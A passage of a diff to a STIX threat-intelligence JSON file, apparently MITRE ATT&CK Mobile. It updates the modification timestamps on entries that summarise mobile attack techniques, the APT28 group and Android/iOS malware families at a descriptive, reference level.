             "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).\n\nDetection: Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2833,7 +2830,7 @@
             "id": "attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:35.247Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Repackaged Application",
             "description": "An adversary could download a legitimate app, disassemble it, add malicious code, and then reassemble the app, for example as described by  (Citation: Zhou) and Jiang in  (Citation: Zhou). The app would appear to be the original app but contain additional malicious functionality. The adversary could then publish this app to app stores or use another delivery technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2879,7 +2876,7 @@
             "id": "attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:22.296Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rogue Cellular Base Station",
             "description": "An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. For example, Ritter and DePerry of iSEC Partners demonstrated this technique using a compromised cellular femtocell at Black Hat USA 2013 (Citation: Computerworld-Femtocell).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2921,7 +2918,7 @@
             "id": "attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:21.354Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rogue Wi-Fi Access Points",
             "description": "An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication as described in NIST SP 800-153 (Citation: NIST-SP800153). \n\nFor example, Kaspersky describes a threat actor they call DarkHotel that targeted hotel Wi-Fi networks, using them to compromise computers belonging to business executives (Citation: Kaspersky-DarkHotel).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -2968,7 +2965,7 @@
             "id": "attack-pattern--a64a820a-cb21-471f-920c-506a2ff04fa5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:20.329Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SIM Card Swap",
             "description": "An adversary could convince the mobile network operator (e.g. through social networking or forged identification) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts (Citation: Guardian-Simswap).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -3020,7 +3017,7 @@
             "id": "attack-pattern--6a3f6490-9c44-40de-b059-e5940f246673",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:33.158Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Application Layer Protocol",
             "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.\n\nIn the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. As described by Kaspersky (Citation: Kaspersky-MobileMalware), Google responds to reports of abuse by blocking access to GCM.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -3066,7 +3063,7 @@
             "id": "attack-pattern--a21a6a79-f9a1-4c87-aed9-ba2d79536881",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:05.928Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Stolen Developer Credentials or Signing Keys",
             "description": "An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer's identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in  (Citation: Infoworld-Appstore).\n\nDetection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -3113,7 +3110,7 @@
             "id": "attack-pattern--e2ea7f6b-8d4f-49c3-819d-660530d12b77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:19.265Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Information Discovery",
             "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class (Citation: Android-Build).\n\nOn iOS, techniques exist for applications to programmatically access this information, for example as described in  (Citation: StackOverflow-iOSVersion).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -3155,7 +3152,7 @@
             "id": "attack-pattern--8f142a25-f6c3-4520-bd50-2ae3ab50ed3e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:17.533Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "URL Scheme Hijacking",
             "description": "An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application. This technique, for example, could be used to capture OAuth authorization codes as described in  (Citation: IETF-PKCE) or to phish user credentials as described in  (Citation: MobileIron-XARA). Related potential security implications are described in  (Citation: Dhanjani-URLScheme). FireEye researchers describe URL scheme hijacking in a blog post (Citation: FireEye-Masque2), including evidence of its use.\n\nPlatforms: iOS",
             "kill_chain_phases": [
@@ -3211,7 +3208,7 @@
             "id": "attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:34.407Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "User Interface Spoofing",
             "description": "At least three methods exist to perform User Interface Spoofing:\n\nFirst, on both Android and iOS, an adversary could impersonate the user interface of a legitimate app or device function to trick a user into entering account credentials. \n\nSecond, on both Android and iOS, a malicious app could impersonate the identity of another app in order to trick users into installing and using it.\n\nThird, on older versions of Android, a malicious app could abuse mobile operating system features to interfere with a running legitimate app as described in  (Citation: Felt-PhishingOnMobileDevices) and  (Citation: Hassell-ExploitingAndroid). However, this technique appears to have been addressed starting in Android 5.0 with the deprecation of the Android's ActivityManager.getRunningTasks method and modification of its behavior (Citation: Android-getRunningTasks) and further addressed in Android 5.1.1 (Citation: StackOverflow-getRunningAppProcesses) to prevent a malicious app from determining what app is currently in the foreground.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -3268,7 +3265,7 @@
             "id": "attack-pattern--8e27551a-5080-4148-a584-c64348212e4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:31.694Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Wipe Device Data",
             "description": "A malicious application could abuse Android device administrator access to wipe device contents, for example if a ransom is not paid.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -3299,7 +3296,7 @@
             "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:48.664Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT28",
             "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)",
             "aliases": [
@@ -3348,7 +3345,7 @@
             "id": "malware--4bf6ba32-4165-42c1-b911-9c36165891c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:47.965Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ANDROIDOS_ANSERVER.A",
             "description": "ANDROIDOS_ANSERVER.A is Android malware novel for using encrypted content within a blog site for command and control (Citation: TrendMicro-Anserver).\n\nAliases: ANDROIDOS_ANSERVER.A",
             "labels": [
@@ -3378,7 +3375,7 @@
             "id": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:47.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Adups",
             "description": "Adups, software pre-installed onto Android devices including those made by BLU Products, reportedly transmitted sensitive data to a Chinese server. The capability was reportedly designed \"to help a Chinese phone manufacturer monitor user behavior\" and \"was not intended for American phones\". (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor).\n\nAliases: Adups",
             "labels": [
@@ -3413,7 +3410,7 @@
             "id": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:47.363Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AndroRAT",
             "description": "AndroRAT \"allows a third party to control the device and collect information such as contacts, call logs, text messages, device location, and audio from the microphone. It is now used maliciously by other actors.\" (Citation: Lookout-EnterpriseApps)\n\nAliases: AndroRAT",
             "labels": [
@@ -3443,7 +3440,7 @@
             "id": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:45.482Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Android/Chuli.A",
             "description": "As reported by Kaspersky (Citation: Kaspersky-WUC), a spear phishing message was sent to activist groups containing a malicious Android application as an attachment.\n\nAliases: Android/Chuli.A",
             "labels": [
@@ -3473,7 +3470,7 @@
             "id": "malware--b6d3657a-2d6a-400f-8b7e-4d60391aa1f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:39.945Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AndroidOverlayMalware",
             "description": "Android malware analyzed by FireEye  (Citation: FireEye-AndroidOverlay).\nAccording to their analysis, \"three campaigns in Europe used view overlay techniques...to present nearly identical credential input UIs as seen in benign apps, subsequently tricking unwary users into providing their banking credentials.\"\n\nAliases: AndroidOverlayMalware",
             "labels": [
@@ -3503,7 +3500,7 @@
             "id": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:47.674Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BrainTest",
             "description": "Brain Test is a family of Android malware described by CheckPoint (Citation: CheckPoint-BrainTest) and Lookout (Citation: Lookout-BrainTest).\n\nAliases: BrainTest",
             "labels": [
@@ -3538,7 +3535,7 @@
             "id": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:39.631Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Charger",
             "description": "The Charger Android malware steals \"steals contacts and SMS messages from the user's device\". It also \"asks for admin permissions\" and \"[i]f granted, the ransomware locks the device and displays a message demanding payment\". (Citation: CheckPoint-Charger)\n\nAliases: Charger",
             "labels": [
@@ -3568,7 +3565,7 @@
             "id": "malware--317a2c10-d489-431e-b6b2-f0251fddc88e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:37.438Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dendroid",
             "description": "Android malware family analyzed by Lookout (Citation: Lookout-Dendroid).\n\nAliases: Dendroid",
             "labels": [
@@ -3598,7 +3595,7 @@
             "id": "malware--ff742eeb-1f90-4f5a-8b92-9d40fffd99ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:37.856Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DressCode",
             "description": "Android malware family analyzed by Trend Micro (Citation: TrendMicro-DressCode)\n\nAliases: DressCode",
             "labels": [
@@ -3628,7 +3625,7 @@
             "id": "malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:40.571Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DroidJack RAT",
             "description": "Android remote access trojan (RAT) that has been observed to pose as legitimate applications including the Super Mario Run (Citation: Zscaler-SuperMarioRun) and Pokemon GO games (Citation: Proofpoint-Droidjack).\n\nAliases: DroidJack RAT",
             "labels": [
@@ -3663,7 +3660,7 @@
             "id": "malware--507fe748-5e4a-4b45-9e9f-8b1115f4e878",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:41.721Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DualToy",
             "description": "DualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB (Citation: PaloAlto-DualToy).\n\nAliases: DualToy",
             "labels": [
@@ -3692,7 +3689,7 @@
             "id": "malware--20d56cd6-8dff-4871-9889-d32d254816de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:43.242Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Gooligan",
             "description": "The  (Citation: Gooligan) malware family, revealed by Check Point, runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal \"authentication tokens that can be used to access data from Google Play, Gmail, Google Photos, Google Docs, G Suite, Google Drive, and more.\" (Citation: Gooligan)\n\nGoogle (Citation: Ludwig-GhostPush) and LookoutLookout- (Citation: Gooligan) describe  (Citation: Gooligan) as part of the Ghost Push Android malware family.\n\nAliases:  (Citation: Gooligan)",
             "labels": [
@@ -3727,7 +3724,7 @@
             "id": "malware--c8770c81-c29f-40d2-a140-38544206b2b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:42.948Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HummingBad",
             "description": "HummingBad is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android (Citation: ArsTechnica-HummingBad).\n\nAliases: HummingBad",
             "labels": [
@@ -3757,7 +3754,7 @@
             "id": "malware--6447e3a1-ef4d-44b1-99d5-6b1c4888674f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:40.259Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HummingWhale",
             "description": "The HummingWhale Android malware family \"includes new virtual machine techniques that allow the malware to perform ad fraud better than ever\". (Citation: ArsTechnica-HummingWhale)\n\nAliases: HummingWhale",
             "labels": [
@@ -3787,7 +3784,7 @@
             "id": "malware--3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:43.815Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "KeyRaider",
             "description": "On jailbroken iOS devices,  (Citation: KeyRaider) steals Apple account credentials and other data. It \"also has built-in functionality to hold iOS devices for ransom.\" (Citation: KeyRaider)\n\nAliases:  (Citation: KeyRaider)",
             "labels": [
@@ -3817,7 +3814,7 @@
             "id": "malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:40.875Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "MazarBOT",
             "description": "Android malware analyzed by Scandinavian security group CSIS as described in a Tripwire post (Citation: Tripwire-MazarBOT).\n\nAliases: MazarBOT",
             "labels": [
@@ -3847,7 +3844,7 @@
             "id": "malware--23040c15-e7d8-47b5-8c16-8fd3e0e297fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:36.707Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "NotCompatible",
             "description": "Android malware family analyzed by Lookout (Citation: Lookout-NotCompatible)\n\nAliases: NotCompatible",
             "labels": [
@@ -3877,7 +3874,7 @@
             "id": "malware--ca4f63b9-a358-4214-bb26-8c912318cfde",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:44.540Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OBAD",
             "description": "OBAD is a family of Android malware (Citation: TrendMicro-Obad).\n\nAliases: OBAD",
             "labels": [
@@ -3907,7 +3904,7 @@
             "id": "malware--2074b2ad-612e-4758-adce-7901c1b49bbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:45.155Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OldBoot",
             "description": "OldBoot is a family of Android malware described in a report from The Hacker News (Citation: HackerNews-OldBoot).\n\nAliases: OldBoot",
             "labels": [
@@ -3937,7 +3934,7 @@
             "id": "malware--c709da93-20c3-4d17-ab68-48cba76b2137",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:43.527Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PJApps",
             "description": "According to Lookout (Citation: Lookout-EnterpriseApps), the PJApps Android malware family \"may collect and leak the victim\u2019s phone number, mobile device unique identifier (IMEI), and location. In order to make money, it may send messages to premium SMS numbers. PJApps also has the ability to download further applications to the device.\"\n\nAliases: PJApps",
             "labels": [
@@ -3967,7 +3964,7 @@
             "id": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:44.238Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pegasus",
             "description": "Discovered by Lookout (Citation: Lookout-Pegasus) and Citizen Lab (Citation: PegasusCitizenLab), Pegasus escalates privileges on iOS devices and uses its privileged access to collect a variety of sensitive information.\n\nAliases: Pegasus",
             "labels": [
@@ -4002,7 +3999,7 @@
             "id": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:41.202Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pegasus for Android",
             "description": "Discovered and analyzed by Lookout (Citation: Lookout-PegasusAndroid) and Google (Citation: Google-Chrysaor), Pegasus for Android (also known as Chrysaor) is spyware that was used in targeted attacks. Pegasus for Android does not use zero day vulnerabilities. It attempts to escalate privileges using well-known vulnerabilities, and even if the attempts fail, it still performs some subset of spyware functions that do not require escalated privileges.\n\nAliases: Pegasus for Android, Chrysaor",
             "labels": [
@@ -4038,7 +4035,7 @@
             "id": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:38.274Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RCSAndroid",
             "description": " (Citation: RCSAndroid) (Citation: RCSAndroid) is Android malware allegedly distributed by Hacking Team.\n\nAliases:  (Citation: RCSAndroid)",
             "labels": [
@@ -4068,7 +4065,7 @@
             "id": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:48.917Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RuMMS",
             "description": "RuMMS is a family of Android malware (Citation: FireEye-RuMMS).\n\nAliases: RuMMS",
             "labels": [
@@ -4098,7 +4095,7 @@
             "id": "malware--c80a6bef-b3ce-44d0-b113-946e93124898",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:38.690Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shedun",
             "description": "Lookout states that some variants of the Shedun, Shuanet, and ShiftyBug/Kemoge Android malware families \"have 71 percent to 82 percent code similarity\" (Citation: Lookout-Adware), even though they \"don\u2019t believe these apps were all created by the same author or group\".\n\nAliases: Shedun, Shuanet, ShiftyBug, Kemoge",
             "labels": [
@@ -4131,7 +4128,7 @@
             "id": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:45.794Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SpyNote RAT",
             "description": "SpyNote RAT (Citation: Zscaler-SpyNote) (Remote Access Trojan) is a family of malicious Android apps. The \"SpyNote RAT builder\" tool can be used to develop malicious apps with the SpyNote RAT functionality.\n\nAliases: SpyNote RAT",
             "labels": [
@@ -4161,7 +4158,7 @@
             "id": "malware--a1867c56-8c86-455a-96ad-b0d5f7e2bc17",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:46.411Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trojan-SMS.AndroidOS.Agent.ao",
             "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.Agent.ao",
             "labels": [
@@ -4191,7 +4188,7 @@
             "id": "malware--28e39395-91e7-4f02-b694-5e079c964da9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:46.107Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trojan-SMS.AndroidOS.FakeInst.a",
             "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.FakeInst.a",
             "labels": [
@@ -4221,7 +4218,7 @@
             "id": "malware--d89c132d-7752-4c7f-9372-954a71522985",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:46.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trojan-SMS.AndroidOS.OpFake.a",
             "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.OpFake.a",
             "labels": [
@@ -4251,7 +4248,7 @@
             "id": "malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:42.313Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Twitoor",
             "description": "Twitoor is a family of Android malware described by ESET (Citation: ESET-Twitoor).\n\nAliases: Twitoor",
             "labels": [
@@ -4281,7 +4278,7 @@
             "id": "malware--326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:37.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "WireLurker",
             "description": "WireLurker is a family of macOS malware that targets iOS devices connected over USB (Citation: PaloAlto-WireLurker).\n\nAliases: WireLurker",
             "labels": [
@@ -4310,7 +4307,7 @@
             "id": "malware--56660521-6db4-4e5a-a927-464f22954b7c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:42.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "X-Agent",
             "description": "The X-Agent Android malware was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data for where it was used and hence the potential location of Ukrainian artillery (Citation: CrowdStrike-Android).\n\nAliases: X-Agent",
             "labels": [
@@ -4340,7 +4337,7 @@
             "id": "tool--da21929e-40c0-443d-bdf4-6b60d15448b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:48.609Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Xbot",
             "description": "Xbot is a family of Android malware analyzed by Palo Alto Networks (Citation: PaloAlto-Xbot) that \"tries to steal victims' banking credentials and credit card information\", \"can also remotely lock infected Android devices, encrypt the user's files in external storage (e.g., SD card), and then ask for a U.S. $100 PayPal cash card as ransom\" and \"will steal all SMS message and contact information, intercept certain SMS messages, and parse SMS messages for mTANs (Mobile Transaction Authentication Number) from banks.\"\n\nAliases: Xbot",
             "labels": [
@@ -4370,7 +4367,7 @@
             "id": "malware--d9e07aea-baad-4b68-bdca-90c77647d7f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:42.661Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "XcodeGhost",
             "description": "iOS malware analyzed by Palo Alto Networks (Citation:  (Citation: PaloAlto-XcodeGhost)1) (Citation: PaloAlto-XcodeGhost)\n\nAliases: XcodeGhost",
             "labels": [
@@ -4405,7 +4402,7 @@
             "id": "malware--a15c9357-2be0-4836-beec-594f28b9b4a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:48.301Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "YiSpecter",
             "description": "iOS malware that \"is different from previous seen iOS malware in that it attacks both jailbroken and non-jailbroken iOS devices\" and \"abuses private APIs in the iOS system to implement malicious functionalities\" (Citation: PaloAlto-YiSpecter).\n\nAliases: YiSpecter",
             "labels": [
@@ -4434,7 +4431,7 @@
             "id": "malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:44.853Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ZergHelper",
             "description": "As described by Palo Alto Networks  (Citation: ZergHelper), the  (Citation: ZergHelper) app uses techniques to evade Apple's App Store review process for itself and uses techniques to install additional applications that are not in Apple's App Store.\n\nAliases:  (Citation: ZergHelper)",
             "labels": [
@@ -4464,7 +4461,7 @@
             "id": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1",
